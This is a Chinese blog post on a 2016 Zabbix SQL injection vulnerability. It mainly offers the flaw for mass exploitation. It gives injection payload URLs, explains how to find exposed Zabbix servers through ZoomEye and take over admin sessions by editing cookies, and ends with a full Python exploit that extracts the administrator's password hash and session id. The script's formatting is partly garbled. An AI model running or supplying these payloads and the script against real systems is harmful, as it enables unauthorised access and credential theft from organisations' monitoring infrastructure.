现在的位置: 首页 > Linux > 网络安全 > 正文

zabbix爆最新0day+利用姿势

2016年08月18日 Linux, 网络安全 ⁄ 共 3322字 ⁄ 字号 暂无评论

Zabbix SQL Injection

zabbix(音同 zæbix)是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
就在昨天,Freebuf爆出了Zabbix的最新SQL注入漏洞,详情请查看:http://www.freebuf.com/vuls/112197.html

影响程度

影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
漏洞条件:系统未禁止Guest用户
攻击成本:低
漏洞危害:高

漏洞分析

在Zabbix中有两个文件存在SQL注入漏洞,分别是jsrpc.php和latest.php,存在漏洞参数分别为:profileIdx2和toggle_ids。

检测代码:

1
jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
1
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1

当向目标系统发送上两种请求时,检测结果出现下面情况则表明漏洞存在:

3694882576

在返回结果中存在Query字段,表明SQL注射存在。

好了,下面上姿势:)

 

 

批量利用姿势

  1. 上Zoomeye,输入查询关键字:Zabbix port:80,当然,如果你想定点查询的话还可以加上country: City:等字段,比如查询北京Zabbix country:china port:80 country:China city:Beijing

1517288984

  1. 这里利用独自等待博客的一个漏洞exp可以实现批量利用;

 

810492178

  1. 两种利用姿势:
    1. SQL注射出的管理员密码解密md5直接登录;
    2. 利用得到的管理员sessionid修改Cookie直接登录;这里如果你是Chrome浏览器的话,推荐插件EditThisCookie;可以直接编辑网站cookie,方便利用;推荐使用这种方法。

250902700

轻松拿到权限:

1535576991

最后附上EXP

注:来自于独自等待博客


#!/usr/bin/env python
# -*- coding: utf_8 -*-
# Date: 2016/8/18
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import urllib2
import sys, os
import re
def deteck_Sql():
u'检查是否存在SQL注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True
def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]
if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python Zabbix print '\t Blog:http://www.waitalone.cn/'
print '\t\t Code BY: 独自等待'
print '\t\t Time:2016-08-18'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
sys.exit()
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在SQL注入漏洞!\n'
print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
print u'管理员 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在SQL注入漏洞!\n'

 

给我留言

您必须 [ 登录 ] 才能发表留言!

×